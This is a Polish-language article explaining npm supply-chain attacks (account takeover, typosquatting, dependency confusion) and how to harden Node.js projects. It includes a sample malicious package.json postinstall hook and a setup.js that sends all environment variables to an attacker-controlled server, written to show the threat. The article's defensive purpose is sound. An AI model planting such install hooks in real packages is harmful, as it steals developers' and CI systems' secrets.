Ataki na łańcuch dostaw npm: jak działają i jak chronić Node.js
Wyjaśnia, w jaki sposób ataki na łańcuch dostaw npm, takie jak przejęcie kont, typosquatting i pomyłki w zależnościach, funkcjonują, oraz podaje konkretne kroki do wzmocnienia instalacji Node.js.
Gdy uruchamiasz npm install express, pobierasz o wiele więcej niż tylko bibliotekę do routingu. W tym jednym poleceniu kryją się setki pakietów wzajemnie powiązanych, stworzonych przez osoby, z którymi nigdy nie miałeś kontaktu i prawdopodobnie nigdy go nie będziesz miał.
Większość inżynierów postrzega menedżery pakietów jako neutralne narzędzia: prosisz o określone narzędzie, ono jest pobierane, a ty kontynuujesz pracę. Jednak to założenie już nie obowiązuje w świecie JavaScriptu. Dziś atakujący rzadko trudzą się próbą przełamania firmowego firewalla lub zrozumienia mechanizmów logowania w środowisku produkcyjnym. O wiele prostsze jest włożenie złośliwego kodu do zależności, na której twoz zespół już polega i której bezwarunkowo ufa.
npm install to już nie jest pasywna operacja pobierania i przechowywania. W rzeczywistości stanowi dowolną eksploatację kodu – na twoim laptopie, w Twoim pipeline’u CI/CD, a ostatecznie w infrastrukturze produkcyjnej.
Czym jest atak na łańcuch dostaw w Node.js?
Klasyczne zagrożenia dla bezpieczeństwa sieci dotyczą błędów takich jak iniekcja SQL czy Cross-Site Scripting, które są wbudowane bezpośrednio w aplikację, którą piszemy.
Atak na łańcuch dostaw oprogramowania działa inaczej. Twój własny kod może być bezbłędny i spełniać wszystkie znane najlepsze praktyki. Jednak jeśli pakiet od strony trzeciej, od którego zależysz, został zmodyfikowany, ten bezbłędny kod znajduje się na podważonej bazie, a cały system jest narażony na zagrożenie.
Tego typu atak jest skierowany przeciwko mechanizmom, które budują i dostarczają twoje oprogramowanie, a nie przeciwko samemu oprogramowaniu. W świecie Node.js do tych mechanizmów należą:
- Pakiety open-source hostowane w rejestrze npm
- Zależności transytowe — pakiety, od których zależą twoje bezpośrednie zależności
- Skrypty, które są wykonywane automatycznie podczas instalacji
Jedynie narażenie jednego z ogniw w tej łańcuchu sprawia, że każdy projekt poniżej dziedziczy szkodliwy kod przy następnej instalacji.
Jak atakujący wykorzystują npm: trzy rzeczywiste wzorce
Te ataki nie są przypadkowe. Opierają się na przewidywalnym, strukturalnym zachowaniu ekosystemu npm. Poniżej przedstawiono trzy wzorce ataków, z którymi najczęściej się spotykamy.
1. Przejęcie konta i narażeni administratorzy
Wiele powszechnie używanych pakietów npm jest utrzymywanych dzięki nieopłacanym wolontariuszom pracującym w swoim wolnym czasie. Atakujący doskonale o tym wiedzą i zamiast atakować kod źródłowy, celują w osobę, która go publikuje.
Typowe metody obejmują:
- Credential stuffing: próby użycia wyciekłych kombinacji nazw użytkowników i haseł przeciwko kontom npm, które nie posiadają wielofaktorowej autoryzacji.
- Phishing: podszywanie się pod zespół bezpieczeństwa npm za pośrednictwem e-maili w celu oszukania administratorów i zmuszenia ich do ujawnienia danych logowania.
- Trojan pull requests: wprowadzanie napraw rzeczywiście przydatnych, małych zmian przez dłuższy czas w celu zbudowania zaufania i uzyskania dostępu do komitetów, a następnie wstawianie ukrytej tylnej bramy po ustanowieniu tego zaufania.
Gdy uzyskuje się dostęp do publikacji, atakujący wysyła wyglądające na rutynowe aktualizacje — na przykład z 2.1.4 na 2.1.5. Ponieważ tak wiele plików package.json używa zakresów w stylu caret, takich jak ^2.1.4, zautomatyzowane procesy budowania we wszystkich miejscach pobierają zainfekowaną wersję, a nikt tego nie zauważa.
2. Typosquatting i pomyłki w identyfikacji marki
Typosquatting wykorzystuje proste błędy ludzkie. Atakujący rejestruje nazwę pakietu, która wizualnie lub tekstowo jest niemal nierozróżnialna od dobrze znanej biblioteki.
Kilka ilustracyjnych przykładów:
- Prawdziwy pakiet:
cross-env - Złowrogi odpowiednik:
crossenv - Prawdziwy pakiet:
colors - Złowrogi odpowiednik:
colour
Jeśli wpiszesz złą nazwę podczas wykonywania polecenia npm i , zainstalujesz wtedy wersję atakującego. Te oszukańcze pakiety często odtwarzają prawdziwą API niemal dokładnie, dzięki czemu zestaw testów nadal działa prawidłowo, podczas gdy w tle wykonuje się ukryte, szkodliwe działania.
3. Pomieszanie zależności
Przedsiębiorstwa często utrzymują prywatne, wewnętrzne pakiety — na przykład @company/auth-client lub company-auth.
Jeśli wewnętrzny rejestr jest źle skonfigurowany, klient npm może zamiast sprawdzić rejestr prywatny, próbować uzyskać informacje z rejestru publicznego, gdy musi rozwiązać nazwę tego wewnętrznego pakietu. Atakujący wykorzystują to, skanując publiczne repozytoria i dokumentację w poszukiwaniu wskazówek dotyczących tych prywatnych nazw pakietów, a następnie publikując pakiety o tych dokładnych nazwach w publicznym rejestrze npm, przypisując im absurdalnie wysokie numer wersji, na przykład 99.9.9.
Gdy uruchamia się proces budowania, npm porównuje wersje, stwierdza, że wersja pakietu publicznego jest wyższa, i instaluje kod atakującego zamiast twojego prawowitego modułu wewnętrznego.
Co dzieje się po cichu: niebezpieczeństwo skryptów cyklu życia
Dlaczego sama instalacja pakietu niesie ze sobą tak duże ryzyko? Dlaczego złośliwy kod miałby się uruchomić, zanim twoja aplikacja w ogóle wywoła require() lub import w odniesieniu do tej biblioteki?
Mechanizmem odpowiedzialnym za to są skrypty cyklu życia.
W pliku package.json npm obsługuje polecenia wiersza poleceń, które uruchamiają się automatycznie na określonych etapach instalacji. Najbardziej niebezpieczne z tych hooków to preinstall, install i postinstall.
Poniżej znajduje się pozornie nieszkodliwy plik package.json należący do kompromitowanej zależności:
{
"name": "useful-string-helper",
"version": "1.0.1",
"scripts": {
"postinstall": "node ./setup.js"
}
}
Opis może sugerować, że setup.js kompiluje binarnik natywny lub przygotowuje lokalne pliki konfiguracyjne. W rzeczywistości setup.js może zawierać coś bardziej w tym rodzaju:
// setup.js (Runs automatically during npm install)
const { exec } = require("child_process");
const https = require("https");
// Read environment variables (AWS keys, database passwords, tokens)
const sensitiveData = JSON.stringify(process.env);// Send captured data to an attacker-controlled endpoint
const req = https.request({
hostname: "attacker-controlled-server.com",
port: 443,
path: "/collect",
method: "POST",
headers: {
"Content-Type": "application/json",
"Content-Length": sensitiveData.length
}
});req.write(sensitiveData);
req.end();
Oto, co tak naprawdę się wydarzyło:
- Wpisałeś
npm install useful-string-helper. - Npm natychmiast wykonał polecenie
node ./setup.js. - Zmienne środowiskowe lokalne — takie jak
AWS_SECRET_ACCESS_KEY,DATABASE_URLczyNPM_TOKEN— zostały pobrałe bezpośrednio z pamięci systemowej. - Tajemnice te zostały przesłane przez HTTPS na serwer kontrolowany przez atakującego.
Zauważ, że do tego nie było potrzeby importowania pakietu ani uruchamiania aplikacji. Sam fakt wykonywania polecenia npm install, czy to na własnym komputerze, czy w środowisku CI runner, wystarczył, by całkowicie naruszyć bezpieczeństwo Twoich tajemnic.
Praktyczna ochrona: wzmacnianie procesu pracy w Node.js
Praca bez pakietów od stron trzecich nie jest realistyczna. Cały ekosystem nowoczesnego programowania opiera się na elementach o otwartym kodzie źródłowym. Możesz jednak kontrolować to, jak starannie włączasz te zależności do swojego projektu.
1. Wyłącz skrypty instalacyjne domyślnie
O ile pakiet rzeczywiście nie wymaga uruchomienia specjalnego skryptu podczas instalacji, wyłącz to zachowanie:
npm install --ignore-scripts
Aby zastosować tę zasadę w całym projekcie, zamiast wpisywać ją za każdym razem, dodaj plik .npmrc w korzeniu swojego repozytorium:
# .npmrc
ignore-scripts=true
Jeśli pakiet faktycznie wymaga kompilacji natywnej — na przykład sterownik bazy danych lub biblioteka do przetwarzania obrazów — nadal możesz ręcznie uruchomić jego krok budowania lub selektywnie zezwolić określonym pakietom na działanie za pośrednictwem systemów wtyczek oferowanych przez menedżery pakietów takie jak pnpm lub yarn.
2. Ściśle zabezpieczaj swoje zależności
Zadbaj o to, aby plik blokujący zawsze był częścią tego, co przesyłasz do systemu kontroli wersji – niezależnie od tego, czy chodzi o package-lock.json, pnpm-lock.yaml czy yarn.lock, w zależności od używanego narzędzia.
Plik blokujący przechowuje dokładną wersję, adres URL do pobrania oraz hasz integralności kryptograficznej (SHA-512) dla każdego zainstalowanego pakietu. Gdy taki hasz istnieje, npm może potwierdzić, że kod pobierany obecnie jest identyczny, bajt po bajcie, z tym, który został zapisany podczas pierwszego utworzenia pliku blokującego.
W pipeline’ach CI/CD zawsze używaj:
npm ci
Unikaj wykonywania prostego polecenia npm install podczas wdrażania. Polecenie npm ci ściśle przestrzega treści pliku package-lock.json i uprzednio usuwa istniejącą folder node_modules, co zapobiega niezauważonemu wzrostowi wersji.
3. Ochrona poufnych danych środowiskowych
Unikaj przechowywania danych produkcyjnych w plikach .env w formie tekstowej na swoim laptopie, o ile to możliwe. Komputery programistów są atrakcyjnymi celami właśnie dlatego, że zazwyczaj mają słabszą ochronę bezpieczeństwa niż infrastruktura chmurowa, a jednocześnie zawierają ważne klucze do baz danych produkcyjnych i kont chmurowych.
- Niech preferowane będą dane o krótkim czasie ważności, takie jak te wydawane przez AWS IAM Identity Center lub podobne systemy tymczasowych tokenów.
.bashrc lub .zshrc.4. Używaj narzędzi do skanowania automatycznego
Żaden skaner nie może wykryć wszystkiego, ale narzędzia automatyczne szybko wskazują pakiety, o których wiadomo, że są złośliwe lub podatne na ataki.
- Rozprowadzaj regularnie komendę
npm audit, aby zidentyfikować pakiety z znanych luk bezpieczeństwa CVE. - Dodaj usługę taką jak Socket.dev, Snyk lub Dependabot od GitHuba jako obowiązkową weryfikację przy każdej prośbie o pull request.
- Socket.dev sprawdza, co faktycznie robi dany pakiet – czy komunikuje się przez sieć, zapisuje dane na dysku, uruchamia polecenia shella – zanim trafi do twojego projektu.
Kompromis: bezpieczeństwo a szybkość programistów
Żadne z tych działań zwiększających bezpieczeństwo nie jest darmowe.
Włączenie opcji ignore-scripts=true może uszkodzić pakiety, które polegają na wbudowanych powiązaniach C++, takie jak bcrypt czy sharp. W takim przypadku ktoś z zespołu musi poświęcić czas na zdiagnozowanie błędu podczas kompilacji lub ręczne skonfigurowanie kroku kompilacji.
Podobnie, ustalanie konkretnej wersji każdej zależności oznacza, że poprawki błędów nie trafią do twojego projektu automatycznie. Musisz przeznaczyć regularny czas – tygodniowo lub w ramach sprintu – na celowe testowanie i aktualizację zależności, zamiast pozwalać im na samodzielne aktualizowanie się.
Dla małego projektu pobocznego taki poziom dyscypliny może wydawać się niepotrzebnym utrudnieniem. Jednak w momencie, gdy aplikacja zaczyna mieć dostęp do danych klientów, informacji o fakturowaniu lub infrastruktury produkcyjnej, to samo utrudnienie staje się główną przeszkodą między tobą a milczącym kompromisem.
Lista kontrolna podsumowująca dla programistów Node.js
Zanim dodasz kolejną zależność, pamiętaj o następujących zasadach:
- Traktuj
npm installjak wykonywanie kodu: każdy dodawany pakiet działa z takimi samymi uprawnieniami jak twoje konto użytkownika. - Kwestionuj nowe dodatki: zastanów się, czy naprawdę potrzebujesz pełnego pakietu do funkcji pomocniczej składającej się z dziesięciu linijek kodu.
- Wyłącz skrypty, jeśli to możliwe: ustaw
ignore-scripts=truew pliku.npmrc, aby zneutralizować większość ataków typu post-install. - Zawsze zapisuj plik lockfile: utrzymuj
package-lock.jsonw aktualnym stanie i wymagaj użycianpm ciprzy każdym uruchomieniu procesu CI/CD. - Przeglądaj uprawnienia dostępu: ogranicz to, do czego mogą faktycznie uzyskać dostęp twoja lokalna środowisko terminalowe oraz procesy CI.
Ekosystem JavaScript oferuje programistom ogromną szybkość i elastyczność. Uważne zarządzanie zależnościami zapobiega temu, by ta szybkość potajemnie niszczyła integralność systemów.
Literatura pokrewna
- Jak naprawić błędy w obsłudze błędów Async/Await w kodzie produkcyjnym Node.js — Poznaj pięć powszechnych błędów w obsłudze błędów async/await w JavaScript i Node.js, które powodują ciche awarie i sytuacje konkurencyjne, oraz konkretnych rozwiązań.
- Przewodnik po konfiguracji React + Vite (2026): Twoje pierwsze działające aplikacje, wyjaśnione krok po kroku — Przejrzyj proces instalacji Node.js, npm, VS Code i Vite w celu stworzenia aplikacji React, dowiadując się jednocześnie, jakie funkcje pełni każde z tych narzędzi w praktyce.